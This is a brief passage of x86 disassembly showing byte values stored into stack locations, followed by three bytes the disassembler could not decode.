and byte [ebp - 0x78b], 0
mov byte [ebp - 0x78a], 0xa0
and byte [ebp - 0x789], 0
mov byte [ebp - 0x788], 3
mov byte [ebp - 0x787], 0x3b
mov byte [ebp - 0x786], 0x33
invalid
invalid
invalid